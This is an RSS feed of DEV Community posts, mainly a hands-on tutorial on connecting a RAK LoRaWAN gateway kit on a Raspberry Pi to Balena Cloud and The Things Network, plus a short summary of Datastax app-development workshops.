<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Faiz Azhar</title>
    <description>The latest articles on DEV Community by Faiz Azhar (@gabanz).</description>
    <link>https://dev.to/gabanz</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F174890%2Fbcb73a86-3fe4-4c36-91ef-f480ffbdbc15.jpeg</url>
      <title>DEV Community: Faiz Azhar</title>
      <link>https://dev.to/gabanz</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/gabanz"/>
    <language>en</language>
    <item>
      <title>How to connect LoRaWAN gateway to Balena cloud</title>
      <dc:creator>Faiz Azhar</dc:creator>
      <pubDate>Mon, 16 Aug 2021 21:56:58 +0000</pubDate>
      <link>https://dev.to/gabanz/connecting-lorawan-gateway-to-balena-cloud-7hd</link>
      <guid>https://dev.to/gabanz/connecting-lorawan-gateway-to-balena-cloud-7hd</guid>
      <description>&lt;p&gt;Today I attended day 1 of &lt;a href="https://www.thethingsnetwork.org/article/kickstart-your-lorawan-career-with-the-things-summer-academy"&gt;"The Things Summer Academy"&lt;/a&gt;, so I'm sharing what I have learned here.&lt;/p&gt;

&lt;p&gt;On the previous week, I had ordered the "RAK Discover Kit 2" from the &lt;a href="https://rakwireless.kckb.st/1a378338"&gt;RAK Wireless Store&lt;/a&gt;. It costs around US$170 but this includes the complete set like a Raspberry Pi 4B 4GB with UK power adapter, a 16GB SD card with the default firmware already installed, a RAK2287 LPWAN Concentrator and a RAK2287 Pi Hat. I think it is a good deal compared to buying the parts individually.&lt;/p&gt;

&lt;p&gt;If you do decide to buy them separately, just remember to select the SPI version instead of the USB version because that's how the Pi HAT connects. Also, currently the &lt;a href="https://github.com/mpous/basicstation/"&gt;basicstation&lt;/a&gt; repository only works with SPI.&lt;/p&gt;

&lt;p&gt;According to the guys, "USB is not a good idea as basically there is an SPI to USB to MCU convertor going on - whereas SPI can talk straight to the MCU. LoRaWAN gateways are very timing sensitive so if something is randomly using up USB bandwidth it can throw things off."&lt;/p&gt;

&lt;p&gt;I thought I may not be able to receive the parcel in time due to global delivery delay, but I was impressed that the FEDEX guys came and delivered the kit to my place just 1 hour before the workshop starts. I'm happy to have all the parts that I need to start hacking right away!&lt;/p&gt;




&lt;h2&gt;
  
  
  The Ants
&lt;/h2&gt;

&lt;p&gt;The Pi Hat and gateway concentrator were already attached to the Raspberry Pi out of the box, except the antennas. Before turning the power on, I have to make sure to connect the antennas first because the documentation mentioned that detaching the antenna while powered on &lt;a href="https://docs.rakwireless.com/Product-Categories/WisLink/RAK2287/Quickstart/#antennas"&gt;might damage the circuitry&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;At first, I was confused which one is the GPS antenna, and which one is the LoRa antenna. Asking one of the guys in the Slack, someone was kind enough to answer,&lt;br&gt;
"The square lozenge is the GPS antenna, while the longer black (coil) is the LoRa antenna, probably also shipped with a frequency label (e.g. 868Mhz) which is the big clue."&lt;/p&gt;

&lt;p&gt;The instructor mentioned that the legacy packet forwarder (the default firmware loaded in the SD card) is based on UDP transport protocol, so the data will be unencrypted in transit, and being UDP it means having no reliability mechanism built-in. Thus, the goal of this workshop is to load a custom firmware over the air and manage the deployments via Balena cloud.&lt;/p&gt;


&lt;h2&gt;
  
  
  The Basic Station
&lt;/h2&gt;

&lt;p&gt;Balena cloud deploys the application into docker containers, and the one I'm deploying is called &lt;a href="https://github.com/mpous/basicstation"&gt;basicstation&lt;/a&gt;, a secure websocket based implementation of the packet forwarder.&lt;/p&gt;

&lt;p&gt;The easiest way is to go to Balena hub and &lt;a href="https://hub.balena.io/marc6/basicstation-gateway-tts"&gt;fork the fleet&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--BG5h4hEr--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/cd9892ai36nda70rvo5o.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--BG5h4hEr--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/cd9892ai36nda70rvo5o.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Since I did not have an account with Balena yet, I simply authorized creating an account via my Github account.&lt;/p&gt;

&lt;p&gt;Next, it asks me to give the fleet a name, so I'm naming it "osm-solution". Because this is supposed to be an oh-sem solution! Get it? Awesome!&lt;/p&gt;

&lt;p&gt;I'm selecting Raspberry Pi 4 here because that's the device I have:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--yR4XYIH5--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/9arwtlffkohq7lt4wfbt.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--yR4XYIH5--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/9arwtlffkohq7lt4wfbt.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Clicking the "Advanced" toggle button will reveal the configuration variables. I'm changing the &lt;code&gt;MODEL&lt;/code&gt; variable value to &lt;code&gt;SX1302&lt;/code&gt; because the RAK2287 LPWAN gateway concentrator included in the kit is using the SX1302 chipset. I'm also changing the &lt;code&gt;TTN_REGION&lt;/code&gt; value to &lt;code&gt;au1&lt;/code&gt; because that's the closest TTN (The Things Network) region in APAC. I leave the default values for the rest of the variables for now.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--amHuNi7D--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/mzvzur89lnk27iw9iyfl.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--amHuNi7D--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/mzvzur89lnk27iw9iyfl.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Then I'm going to add the device to be managed by Balena Cloud. Here I added my home WiFi details so that my Raspberry Pi is able to connect to the internet as soon as it is powered on. &lt;/p&gt;

&lt;p&gt;By the way, did you noticed my home SSID is named "ARPAnet"? How geeky is that?!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--39tOyzaC--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/cssmmob94p6nh84oc8ye.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--39tOyzaC--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/cssmmob94p6nh84oc8ye.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This will prepare the custom firmware in a zip file ready to be downloaded.&lt;/p&gt;


&lt;h2&gt;
  
  
  Flash and Burn!
&lt;/h2&gt;

&lt;p&gt;I'm using &lt;a href="https://www.balena.io/etcher/"&gt;Balena Etcher&lt;/a&gt; to burn the firmware into the SD card.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--gBefOHgP--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/693vulbzapyy3qujht0i.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--gBefOHgP--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/693vulbzapyy3qujht0i.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After inserting the micro SD card to the laptop's USB port, I make sure to select the correct disk. Well, you don't want to accidentally &lt;code&gt;rm -rf&lt;/code&gt; your hard disk, do you?&lt;/p&gt;

&lt;p&gt;As for the SD card, the guys said that minimum class 4 is recommended but basically don't skimp on this, get the highest quality branded product like SanDisk Extreme, Kingston or Toshiba, and choose Class 10 if possible. The kit came with Sandisk Ultra 16GB, so that's what I'm going to use here though. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--3tCugcQO--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/35mzqu1krdportlwpwad.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--3tCugcQO--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/35mzqu1krdportlwpwad.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;... finally I can flash myself! Oops, I mean, the card.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--keRqlBsI--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/19br1pfnzvbstwyplz4z.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--keRqlBsI--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/19br1pfnzvbstwyplz4z.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In the discussion, the guys mentioned that instead of using SD card, we can also boot from USB &lt;a href="https://sg.cytron.io/p-md2-2280-makerdisk-sata-iii-ssd-with-raspberry-pi-os"&gt;SSD stick&lt;/a&gt; or eMMC module such as the &lt;a href="https://thepihut.com/products/raspikey-plug-and-play-emmc-module-for-raspberry-pi"&gt;RasPiKey&lt;/a&gt;. Balena also produces an independent hardware called &lt;a href="https://www.balena.io/fin/"&gt;Balena Fin&lt;/a&gt; which uses industrial eMMC and the Pi Compute Module. These alternatives may prove to be more reliable if you plan to deploy the gateways for commercial use. I'm using this for learning and rapid prototyping, so the storage type doesn't really matter at this point in time.&lt;/p&gt;

&lt;p&gt;Next, I inserted the flashed SD card into Raspberry Pi and turned the power on. After a while, I can see the device successfully connects to Balena Cloud. Wow, it's really that easy!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--0wz268sm--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/k3rnj8mfmk91qqbimza9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--0wz268sm--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/k3rnj8mfmk91qqbimza9.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Using the dashboard will allow me to easily manage and update multiple gateways remotely. I can also see where the gateway location is, that's pretty cool!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--TlwnRtpW--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/19sy92tf6c2ht8caxyr4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--TlwnRtpW--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/19sy92tf6c2ht8caxyr4.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;At the Device Summary section, there's the gateway EUI, which is the first 6 bytes of the ethernet MAC address padded into 8 bytes. The EUI is populated into the &lt;code&gt;TAGS&lt;/code&gt; when the device gets provisioned on Balena cloud for the first time. Copy this value because it will be used next.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--hkjkw4Dc--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/qyav8ligjzhyi5qhqlyh.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--hkjkw4Dc--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/qyav8ligjzhyi5qhqlyh.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;


&lt;h2&gt;
  
  
  Where the wild things are
&lt;/h2&gt;

&lt;p&gt;Next step would be to connect the gateway to The Things Network. I already had an account created previously when I took The Things Certification last year, so I'm going to simply login into the dashboard.&lt;/p&gt;

&lt;p&gt;For the region selection, I chose the "au1" region, because that is what I had defined in the &lt;code&gt;TTN_REGION&lt;/code&gt; variable previously, remember?&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--6mnU6Rnv--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/mn97yumzscjng3uhhiy9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--6mnU6Rnv--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/mn97yumzscjng3uhhiy9.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I want to register a new gateway, so I'm choosing that option here:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s---Lv7nSAe--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/fkrus45rsxbvngwk6fhi.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s---Lv7nSAe--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/fkrus45rsxbvngwk6fhi.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So I pasted the gateway EUI value that was copied earlier:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--c7ulkH2Z--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/e3wziummd7w6l6s6kxvw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--c7ulkH2Z--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/e3wziummd7w6l6s6kxvw.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Here we have to select the right frequency based on the country the gateway will be used in, so I chose one from the list &lt;a href="https://www.thethingsnetwork.org/docs/lorawan/frequencies-by-country/"&gt;here&lt;/a&gt;. By the way, the hardware frequency had already been decided when ordering the LPWAN concentrator module from the store. So you can't really choose any other option here anyway, it wouldn't work.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--stRd84Bl--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ujoae924hvnu92doemak.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--stRd84Bl--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ujoae924hvnu92doemak.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The summary page will be shown once the gateway has been successfully registered. &lt;/p&gt;


&lt;h2&gt;
  
  
  Security is the key
&lt;/h2&gt;

&lt;p&gt;Next, I'm going to create an API key so that the gateway can securely connect to The Things Network. The "API keys" option can be found at the top or left hand side of the screen. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--K4oYM4pO--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/6qfkbi21e74vcfik2kcc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--K4oYM4pO--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/6qfkbi21e74vcfik2kcc.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I'm granting a specific rights as in the screenshot below, then proceed to generate the key:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--84EtQzLm--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/4xvicrku98xakdsmym37.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--84EtQzLm--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/4xvicrku98xakdsmym37.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Let's not forget to copy the API key here!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--REUyfiim--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/w9aa0fwnzqcmbz0uk51r.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--REUyfiim--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/w9aa0fwnzqcmbz0uk51r.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Finally, I return to Balena cloud dashboard and go to the fleet's (or device's) variables settings. The API key is the one represented by the &lt;code&gt;TC_KEY&lt;/code&gt; variable:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--qDqsWtPx--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/s209f1nop2apql5mdtz9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--qDqsWtPx--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/s209f1nop2apql5mdtz9.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I paste the API key copied earlier into the &lt;code&gt;TC_KEY&lt;/code&gt; value:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--mMV2vabZ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/8rlkngv8j9myk41bonav.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--mMV2vabZ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/8rlkngv8j9myk41bonav.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;When I go back to The Things Network dashboard, I am able to see that the gateway was "Last seen ... ago".&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--edmYvg7U--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/1fl6uac4z3n35p11pwvk.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--edmYvg7U--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/1fl6uac4z3n35p11pwvk.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This shows that the gateway was able to successfully connect to The Things Network, and can now send data uplink and receives downlink data.&lt;/p&gt;


&lt;h2&gt;
  
  
  Over the air and beyond!
&lt;/h2&gt;

&lt;p&gt;Lastly, I want to practise how to manage the firmware updates OTA (over-the-air). I will be adding changes to the gateway fleets by deploying a new docker container called &lt;a href="https://github.com/balenablocks/wifi-connect"&gt;"wifi-connect"&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;I create a new folder and pull the &lt;a href="https://github.com/mpous/basicstation"&gt;"basicstation"&lt;/a&gt; repository there:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;mkdir basicstation-wificonnect
cd basicstation-wificonnect
git clone https://github.com/mpous/basicstation
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Next, I create a &lt;code&gt;docker-compose.yml&lt;/code&gt; file and paste the following contents. This is based on the &lt;code&gt;docker-compose.yml&lt;/code&gt; file in the original &lt;a href="https://github.com/balenablocks/wifi-connect"&gt;wifi-connect&lt;/a&gt; repository.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;version: "2.1"

services:
  wifi-connect:
    image: balenablocks/wifi-connect:aarch64
    restart: always
    network_mode: host
    privileged: true
    labels:
      io.balena.features.dbus: "1"
      io.balena.features.firmware: "1"

  basicstation:
    build: ./basicstation
    privileged: true
    restart: always
    network_mode: host
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Next, I install the Balena CLI tool from &lt;a href="https://github.com/balena-io/balena-cli/blob/master/INSTALL.md"&gt;here&lt;/a&gt; and authenticate using the web authorization method:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;balena login
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Push the contents of the &lt;code&gt;basicstation-wificonnect&lt;/code&gt; folder into Balena cloud:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;balena push &amp;lt;deployment_name&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It will take some time to finish:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--iFdNlzfx--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/883z80mxqgfupdlvca4b.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--iFdNlzfx--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/883z80mxqgfupdlvca4b.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I can see the software updates has been successfully released:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--GG7a_y3h--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/t5jd5j2hsqzmkcsmbktt.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--GG7a_y3h--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/t5jd5j2hsqzmkcsmbktt.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--0ddEf7cQ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/cz3bvh9ffu8rh2l8fti0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--0ddEf7cQ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/cz3bvh9ffu8rh2l8fti0.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Wifi-connect here will check the internet connection every 120 seconds. If it detects that there is no internet connections is unavailable, it will switch the connection to access point mode. The user can then connect to the SSID and configure the WiFi credentials via a captive portal. This is useful when using the gateway outdoors or for mobile deployments.&lt;/p&gt;

&lt;p&gt;I can now confirm that the new feature that was added (wifi-connect) is running fine by reviewing the logs:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--OH6ua2QI--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/owmkgjlk5opti32y3nl3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--OH6ua2QI--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/owmkgjlk5opti32y3nl3.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;p&gt;In this workshop, I had learned to build my first LoRaWAN gateway with Raspberry Pi, and how to manage the gateway remotely with Balena Cloud. Then I learned how to register the gateway to The Things Network and authenticate it with API key. Finally I learned how to update the gateway software over-the-air.&lt;/p&gt;

&lt;p&gt;Stay tuned for day 2 reports tomorrow! (or a few days later, no pressure, haha!)&lt;/p&gt;




&lt;h2&gt;
  
  
  References
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.balena.io/blog/run-your-private-the-things-stack-network-server-on-a-raspberry-pi-with-balena/"&gt;https://www.balena.io/blog/run-your-private-the-things-stack-network-server-on-a-raspberry-pi-with-balena/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.balena.io/blog/deploy-a-basics-station-lora-gateway-with-ttn-and-balena/"&gt;https://www.balena.io/blog/deploy-a-basics-station-lora-gateway-with-ttn-and-balena/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=h38IFxHG7pA&amp;amp;list=PLM8eOeiKY7JUSpxCAiEr6eViQYwXZVkXy"&gt;https://www.youtube.com/watch?v=h38IFxHG7pA&amp;amp;list=PLM8eOeiKY7JUSpxCAiEr6eViQYwXZVkXy&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
    </item>
    <item>
      <title>Datastax AppDev Summer Learning Series</title>
      <dc:creator>Faiz Azhar</dc:creator>
      <pubDate>Sun, 15 Aug 2021 13:46:18 +0000</pubDate>
      <link>https://dev.to/gabanz/datastax-appdev-summer-learning-series-4oe4</link>
      <guid>https://dev.to/gabanz/datastax-appdev-summer-learning-series-4oe4</guid>
      <description>&lt;p&gt;Recently I have completed application development workshops organized by Datastax.&lt;/p&gt;

&lt;p&gt;Here's what I learned:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;how to build a TodoApp with Javascript and React&lt;/li&gt;
&lt;li&gt;how to build a TikTok clone with JAM stack&lt;/li&gt;
&lt;li&gt;how to build a Netflix clone with GraphQL&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Specifically, using React's create-react-app, I learned how to customize and structure my codes based on the framework. Building on that, I learned how to interact with Cassandra database backend via APIs using Swigger and GraphQL. Finally, I learned how to build the web application and deploy the static files to Netlify along with the serverless functions to retrieve data from the database.&lt;/p&gt;

